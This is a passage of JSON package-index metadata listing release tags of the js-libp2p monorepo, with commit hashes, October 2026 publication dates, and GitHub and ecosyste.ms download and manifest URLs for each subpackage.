com/libp2p/js-libp2p/releases/tag/circuit-relay-v2-v4.2.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@circuit-relay-v2-v4.2.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.15/manifests"},{"name":"bootstrap-v12.0.34","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.34","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.34/manifests"},{"name":"autonat-v3.0.30","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v3.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v3.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v3.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.30/manifests"},{"name":"autonat-v2-v2.1.6","sha":"2ca00af7ef79d1cd54e1b284f41ded62cbf894ac","kind":"commit","published_at":"2026-10-16T23:31:36.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v2-v2.1.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v2-v2.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v2-v2.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.1.6/manifests"},{"name":"yamux-v8.0.4","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/yamux-v8.0.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/yamux-v8.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@yamux-v8.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/yamux-v8.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/yamux-v8.0.4/manifests"},{"name":"webtransport-v6.0.41","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.41","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.41","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.41","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.41","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.41/manifests"},{"name":"websockets-v10.1.22","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/websockets-v10.1.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/websockets-v10.1.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@websockets-v10.1.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.22/manifests"},{"name":"webrtc-v6.1.0","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.1.0","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.1.0/manifests"},{"name":"utils-v7.4.2","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/utils-v7.4.2","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/utils-v7.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@utils-v7.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.4.2/manifests"},{"name":"upnp-nat-v4.0.29","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/upnp-nat-v4.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/upnp-nat-v4.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@upnp-nat-v4.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.29/manifests"},{"name":"transport-interop-libp2p-main-v1.0.42","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.42","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.42","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.42","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.42","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.42/manifests"},{"name":"tls-v3.1.11","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tls-v3.1.11","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tls-v3.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tls-v3.1.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.11/manifests"},{"name":"tcp-v11.0.29","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tcp-v11.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tcp-v11.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tcp-v11.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.29/manifests"},{"name":"simple-metrics-v2.0.22","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/simple-metrics-v2.0.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/simple-metrics-v2.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@simple-metrics-v2.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/simple-metrics-v2.0.22/manifests"},{"name":"prometheus-metrics-v5.0.30","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/prometheus-metrics-v5.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/prometheus-metrics-v5.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@prometheus-metrics-v5.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.30/manifests"},{"name":"pnet-v3.0.30","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/pnet-v3.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/pnet-v3.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@pnet-v3.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.30/manifests"},{"name":"plaintext-v3.0.29","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/plaintext-v3.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/plaintext-v3.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@plaintext-v3.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.29/manifests"},{"name":"ping-v3.1.14","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/ping-v3.1.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/ping-v3.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@ping-v3.1.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.14/manifests"},{"name":"perf-v5.1.15","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.1.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.1.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.1.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.15/manifests"},{"name":"peer-store-v12.0.29","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-store-v12.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-store-v12.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.29/manifests"},{"name":"peer-record-v9.0.17","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-record-v9.0.17","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-record-v9.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-record-v9.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-record-v9.0.17/manifests"},{"name":"peer-id-v6.0.16","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-id-v6.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-id-v6.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-id-v6.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-id-v6.0.16/manifests"},{"name":"peer-collections-v7.0.29","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-collections-v7.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-collections-v7.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-collections-v7.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.29/manifests"},{"name":"opentelemetry-metrics-v2.0.30","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/opentelemetry-metrics-v2.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/opentelemetry-metrics-v2.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@opentelemetry-metrics-v2.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.30/manifests"},{"name":"noise-v17.0.4","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/noise-v17.0.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/noise-v17.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@noise-v17.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/noise-v17.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/noise-v17.0.4/manifests"},{"name":"multistream-select-v7.0.29","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/multistream-select-v7.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/multistream-select-v7.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@multistream-select-v7.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.29/manifests"},{"name":"mplex-v12.0.33","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.33","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.33/manifests"},{"name":"memory-v2.0.29","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/memory-v2.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/memory-v2.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@memory-v2.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.29/manifests"},{"name":"mdns-v12.0.33","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.33","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.33/manifests"},{"name":"logger-v6.2.14","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/logger-v6.2.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/logger-v6.2.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@logger-v6.2.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.14/manifests"},{"name":"libp2p-v3.3.12","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.3.12","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.3.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.3.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.12/manifests"},{"name":"keychain-v6.1.8","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/keychain-v6.1.8","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/keychain-v6.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@keychain-v6.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.1.8/manifests"},{"name":"kad-dht-v16.4.6","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.4.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.4.6/manifests"},{"name":"interop-v14.0.40","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.40","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.40","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.40","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.40","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.40/manifests"},{"name":"interface-v3.3.1","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-v3.3.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-v3.3.1/manifests"},{"name":"interface-internal-v3.1.14","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-internal-v3.1.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-internal-v3.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-internal-v3.1.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.14/manifests"},{"name":"interface-compliance-tests-v7.0.33","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.33","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.33/manifests"},{"name":"integration-tests-v1.2.25","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.25","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.25/manifests"},{"name":"identify-v4.1.15","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/identify-v4.1.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/identify-v4.1.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@identify-v4.1.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.15/manifests"},{"name":"gossipsub-v17.1.3","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v17.1.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v17.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v17.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v17.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v17.1.3/manifests"},{"name":"floodsub-v11.0.31","sha":"d5f5f8d8f93362d46e63022b566baacc7d504f7c","kind":"commit","published_at":"2026-10-10T06:28:40.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/floodsub-v11.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/floodsub-v11.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@floodsub-v11.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.31/manifests"},{"name":"fetch-v4